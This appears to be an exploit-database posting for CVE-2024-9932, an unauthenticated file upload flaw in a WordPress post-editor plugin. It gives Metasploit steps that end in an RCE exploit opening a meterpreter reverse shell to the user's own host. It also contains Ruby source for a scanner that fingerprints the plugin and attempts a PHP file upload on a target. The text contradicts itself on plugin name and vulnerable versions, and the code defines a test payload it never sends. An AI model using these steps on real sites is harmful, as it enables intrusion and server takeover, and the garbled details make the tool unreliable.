WordPress Wux Blog Editor 3.0.0 Vulnerability Scanner

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| # Title WordPress Wux Blog Editor 3.0.0 Vulnerability Scanner

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| # Title : WordPress Wux Blog Editor 3.0.0 Vulnerability Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://wordpress.org/plugins/wux-blog-editor/ |
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[+] References: https://packetstorm.news/files/id/214276/ & CVE-2024-9932

[+] Summary: This Metasploit auxiliary module scans WordPress sites for the External Post Editor plugin and checks for the unauthenticated file upload vulnerability (CVE-2024-9932).

[+] The module can:

Detect the plugin version by inspecting readme.txt or the plugin header files.

Determine if the version is vulnerable (versions prior to 3.0.0).

Test the upload endpoint (/wp-json/external-post-editor/v2/image-upload) for accessibility.

Attempt to simulate file upload using a test PHP payload and analyze the server response.

Provide clear output regarding plugin presence, version, vulnerability status, and endpoint exposure.

This module is intended for security assessments and penetration testing of WordPress installations, without exploiting the vulnerability beyond a controlled upload test.

[+] Usage :

# 1. Run Metasploit

msfconsole

# 2. Use the Scanner (Auxiliary)

use auxiliary/scanner/http/wp_external_post_editor_scanner
set RHOSTS target.com
set TARGETURI /wordpress/
run

# 3. If the target is weak, use the Exploit

use exploit/multi/http/wp_external_post_editor_rce
set RHOST target.com
set TARGETURI /wordpress/
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST your_ip
set LPORT 4444
exploit

# 4. For other systems

set TARGET 1 # Linux
or
set TARGET 2 # Windows

[+] POC :

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress External Post Editor Plugin Vulnerability Scanner',
'Description' => %q{
This module scans for the WordPress External Post Editor plugin
and checks if it's vulnerable to CVE-2024-9932 (unauthenticated file upload).
},
'Author' => [
'JoshuaProvoste', # Original discovery
'indoushka'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-9932'],
['URL', 'https://wordpress.org/plugins/external-post-editor/']
],
'DisclosureDate' => '2024-01-01'
))

register_options([
OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']),
OptBool.new('CHECK_UPLOAD', [true, 'Test file upload capability', true])
])
end

def run
print_status("Scanning #{full_uri} for WordPress External Post Editor plugin...")

version = detect_plugin_version

if version
print_good("Detected External Post Editor plugin version #{version}")

if version < Rex::Version.new('1.2.3')
print_warning("Vulnerable version #{version} detected (CVE-2024-9932)")

if datastore['CHECK_UPLOAD']
test_vulnerability
end
else
print_good("Version #{version} appears to be patched")
end
else
print_status("External Post Editor plugin not detected")
end

check_endpoint
end

def detect_plugin_version

paths = [
'wp-content/plugins/external-post-editor/readme.txt',
'wp-content/plugins/external-post-editor/README.txt',
'plugins/external-post-editor/readme.txt'
]

paths.each do |path|
uri = normalize_uri(target_uri.path, path)
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

next unless res && res.code == 200

if res.body =~ /Stable tag:\s*(\d+\.\d+(?:\.\d+)?)/i
return Rex::Version.new($1)
elsif res.body =~ /Version:\s*(\d+\.\d+(?:\.\d+)?)/i
return Rex::Version.new($1)
end
end

paths = [
'wp-content/plugins/external-post-editor/external-post-editor.php',
'wp-content/plugins/external-post-editor/plugin.php'
]

paths.each do |path|
uri = normalize_uri(target_uri.path, path)
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

next unless res && res.code == 200

if res.body =~ /Version:\s*(\d+\.\d+(?:\.\d+)?)/i
return Rex::Version.new($1)
end
end

nil
end

def check_endpoint
print_status("Checking for vulnerable endpoint...")

endpoint = normalize_uri(target_uri.path, 'wp-json', 'external-post-editor', 'v2', 'image-upload')

res = send_request_cgi({
'method' => 'GET',
'uri' => endpoint
})

if res.nil?
print_error("No response from endpoint")
return
end

case res.code
when 200
print_good("Endpoint accessible (HTTP 200)")
print_status("Response: #{res.body[0,200]}...") if res.body && !res.body.empty?
when 404
print_status("Endpoint not found (HTTP 404)")
when 403, 401
print_warning("Endpoint requires authentication (HTTP #{res.code})")
when 405
print_good("Endpoint exists but wrong method (HTTP 405)")
else
print_status("Endpoint responded with HTTP #{res.code}")
end
end

def test_vulnerability
print_status("Testing file upload vulnerability...")

test_content = "<?php echo 'VULN_TEST_' . time(); ?>"
test_filename = "#{Rex::Text.rand_text_alpha(8)}.php"

endpoint = normalize_uri(target_uri.path, 'wp-json', 'external-post-editor', 'v2', 'image-upload')

data = {
'url' => "http://#{Rex::Text.rand_text_alpha(8)}.com/test.php",
'imageName' => test_filename
}

res = send_request_cgi({
'method' => 'POST',
'uri' => endpoint,
'headers' => { 'Content-Type' => 'application/json' },
'data' => data.to_json
})

if res.nil?
print_error("No response from upload endpoint")
return
end

print_status("Upload test response: HTTP #{res.code}")

if res.code == 200
begin
json = res.get_json_document
if json
print_good("JSON response received:")
json.each do |k,v|
print_status(" #{k}: #{v.inspect}")
end
end
rescue JSON::ParserError
print_warning("Non-JSON response: #{res.body[0,200]}")
end
elsif res.code == 403 || res.code == 401
print_error("Upload requires authentication")
else
print_warning("Unexpected response code: #{res.code}")
end
end

def full_uri
"#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}#{normalize_uri(target_uri.path)}"
end
end


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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